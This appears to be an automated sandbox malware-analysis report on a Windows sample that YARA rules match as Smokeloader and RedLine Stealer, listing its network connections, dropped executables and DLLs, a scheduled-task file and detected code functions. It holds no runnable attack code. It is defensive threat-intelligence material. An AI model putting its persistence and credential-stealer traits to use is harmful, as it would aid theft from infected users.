Source: unknown Network traffic detected: HTTP traffic on port 49202 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49208 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49200 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49241 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49241
Source: unknown Network traffic detected: HTTP traffic on port 49221 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49206 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49238
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49233
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49199
Source: unknown Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49748 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:49785 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:49791 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49200 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.7:49202 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:49206 version: TLS 1.2
Source: unknown HTTPS traffic detected: 103.28.36.182:443 -> 192.168.2.7:49233 version: TLS 1.2

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 00000025.00000002.2537949533.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000025.00000002.2534257510.00000000025D1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000002.2541855344.00000000025ED000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000002.2548613207.00000000040B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
PE file contains section with special chars
Source: JGKjBsQrMc.exe Static PE information: section name:
Source: JGKjBsQrMc.exe Static PE information: section name: .idata
Source: JGKjBsQrMc.exe Static PE information: section name:
Source: explorti.exe.1.dr Static PE information: section name:
Source: explorti.exe.1.dr Static PE information: section name: .idata
Source: explorti.exe.1.dr Static PE information: section name:
Source: random[1].exe.19.dr Static PE information: section name:
Source: random[1].exe.19.dr Static PE information: section name: .idata
Source: random[1].exe.19.dr Static PE information: section name:
Source: RoamingJDHCBAEHJJ.exe.19.dr Static PE information: section name:
Source: RoamingJDHCBAEHJJ.exe.19.dr Static PE information: section name: .idata
Source: RoamingJDHCBAEHJJ.exe.19.dr Static PE information: section name:
Source: RoamingDBFHCGCGDA.exe.19.dr Static PE information: section name:
Source: RoamingDBFHCGCGDA.exe.19.dr Static PE information: section name: .idata
Source: RoamingDBFHCGCGDA.exe.19.dr Static PE information: section name:
Source: enter[1].exe.19.dr Static PE information: section name:
Source: enter[1].exe.19.dr Static PE information: section name: .idata
Source: enter[1].exe.19.dr Static PE information: section name:
Contains functionality to call native functions
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB1B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 19_2_6CB1B700
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB1B8C0 rand_s,NtQueryVirtualMemory, 19_2_6CB1B8C0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB1B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError, 19_2_6CB1B910
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CABF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 19_2_6CABF280
Creates files inside the system directory
Source: C:\Users\user\Desktop\JGKjBsQrMc.exe File created: C:\Windows\Tasks\explorti.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Code function: 17_2_00EAE440 17_2_00EAE440
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Code function: 17_2_00EA4CF0 17_2_00EA4CF0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Code function: 17_2_00EE3068 17_2_00EE3068
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Code function: 17_2_00ED7D83 17_2_00ED7D83
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Code function: 17_2_00EA4AF0 17_2_00EA4AF0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Code function: 17_2_00EE765B 17_2_00EE765B
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Code function: 17_2_00EE2BD0 17_2_00EE2BD0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Code function: 17_2_00EE777B 17_2_00EE777B
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Code function: 17_2_00EE8720 17_2_00EE8720
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Code function: 17_2_00EE6F09 17_2_00EE6F09
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAB35A0 19_2_6CAB35A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB134A0 19_2_6CB134A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB1C4A0 19_2_6CB1C4A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAC6C80 19_2_6CAC6C80
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CABD4E0 19_2_6CABD4E0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAF6CF0 19_2_6CAF6CF0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAC64C0 19_2_6CAC64C0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CADD4D0 19_2_6CADD4D0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB2542B 19_2_6CB2542B
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB02C10 19_2_6CB02C10
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB2AC00 19_2_6CB2AC00
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAF5C10 19_2_6CAF5C10
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAC5440 19_2_6CAC5440
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB2545C 19_2_6CB2545C
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB185F0 19_2_6CB185F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAF0DD0 19_2_6CAF0DD0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CACFD00 19_2_6CACFD00
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAE0512 19_2_6CAE0512
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CADED10 19_2_6CADED10
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB14EA0 19_2_6CB14EA0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB1E680 19_2_6CB1E680
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAD5E90 19_2_6CAD5E90
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB276E3 19_2_6CB276E3
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CABBEF0 19_2_6CABBEF0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CACFEF0 19_2_6CACFEF0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB19E30 19_2_6CB19E30
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB05600 19_2_6CB05600
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAF7E10 19_2_6CAF7E10
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB26E63 19_2_6CB26E63
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CABC670 19_2_6CABC670
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAD4640 19_2_6CAD4640
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAD9E50 19_2_6CAD9E50
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB02E4E 19_2_6CB02E4E
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAF3E50 19_2_6CAF3E50
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB077A0 19_2_6CB077A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CABDFE0 19_2_6CABDFE0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAE6FF0 19_2_6CAE6FF0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAC9F00 19_2_6CAC9F00
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAF7710 19_2_6CAF7710
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAE60A0 19_2_6CAE60A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CADC0E0 19_2_6CADC0E0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAF58E0 19_2_6CAF58E0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB250C7 19_2_6CB250C7
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAFB820 19_2_6CAFB820
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB04820 19_2_6CB04820
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAC7810 19_2_6CAC7810
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAFF070 19_2_6CAFF070
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAD8850 19_2_6CAD8850
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CADD850 19_2_6CADD850
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CABC9A0 19_2_6CABC9A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAED9B0 19_2_6CAED9B0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB12990 19_2_6CB12990
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAF5190 19_2_6CAF5190
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB0B970 19_2_6CB0B970
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB2B170 19_2_6CB2B170
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CACD960 19_2_6CACD960
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CADA940 19_2_6CADA940
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB22AB0 19_2_6CB22AB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAB22A0 19_2_6CAB22A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAE4AA0 19_2_6CAE4AA0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CACCAB0 19_2_6CACCAB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB2BA90 19_2_6CB2BA90
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAD1AF0 19_2_6CAD1AF0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAFE2F0 19_2_6CAFE2F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAF8AC0 19_2_6CAF8AC0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAF9A60 19_2_6CAF9A60
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CABF380 19_2_6CABF380
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB253C8 19_2_6CB253C8
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAFD320 19_2_6CAFD320
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CACC370 19_2_6CACC370
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CAB5340 19_2_6CAB5340
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBBECD0 19_2_6CBBECD0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB5ECC0 19_2_6CB5ECC0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC26C00 19_2_6CC26C00
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB6AC60 19_2_6CB6AC60
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC3AC30 19_2_6CC3AC30
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB64DB0 19_2_6CB64DB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CCECDC0 19_2_6CCECDC0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBF6D90 19_2_6CBF6D90
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC8AD50 19_2_6CC8AD50
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC2ED70 19_2_6CC2ED70
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CCE8D20 19_2_6CCE8D20
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC00EC0 19_2_6CC00EC0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBE6E90 19_2_6CBE6E90
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB6AEC0 19_2_6CB6AEC0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBFEE70 19_2_6CBFEE70
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC40E20 19_2_6CC40E20
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB6EFB0 19_2_6CB6EFB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC3EFF0 19_2_6CC3EFF0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB60FE0 19_2_6CB60FE0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CCA8FB0 19_2_6CCA8FB0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB66F10 19_2_6CB66F10
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC22F70 19_2_6CC22F70
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CCA0F20 19_2_6CCA0F20
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBCEF40 19_2_6CBCEF40
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC668E0 19_2_6CC668E0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC34840 19_2_6CC34840
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBB0820 19_2_6CBB0820
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBEA820 19_2_6CBEA820
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBF09A0 19_2_6CBF09A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC7C9E0 19_2_6CC7C9E0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB949F0 19_2_6CB949F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC1A9A0 19_2_6CC1A9A0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC209B0 19_2_6CC209B0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBB6900 19_2_6CBB6900
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB98960 19_2_6CB98960
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBDEA80 19_2_6CBDEA80
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC0EA00 19_2_6CC0EA00
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBDCA70 19_2_6CBDCA70
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC18A30 19_2_6CC18A30
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC66BE0 19_2_6CC66BE0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC00BA0 19_2_6CC00BA0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC8A480 19_2_6CC8A480
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBA64D0 19_2_6CBA64D0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBFA4D0 19_2_6CBFA4D0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBEA430 19_2_6CBEA430
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBC4420 19_2_6CBC4420
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB78460 19_2_6CB78460
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CB545B0 19_2_6CB545B0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC2A5E0 19_2_6CC2A5E0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBEE5F0 19_2_6CBEE5F0
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC64540 19_2_6CC64540
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CCA8550 19_2_6CCA8550
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CC00570 19_2_6CC00570
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBC2560 19_2_6CBC2560
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBB8540 19_2_6CBB8540
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: 19_2_6CBBE6E0 19_2_6CBBE6E0
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: String function: 00404610 appears 316 times
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: String function: 6CB83620 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: String function: 6CAF94D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: String function: 6CB89B10 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\1000002001\cda9e1cbbc.exe Code function: String function: 6CAECBE8 appears 134 times
Uses 32bit PE files
Source: JGKjBsQrMc.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 00000025.00000002.2537949533.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000025.00000002.2534257510.00000000025D1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
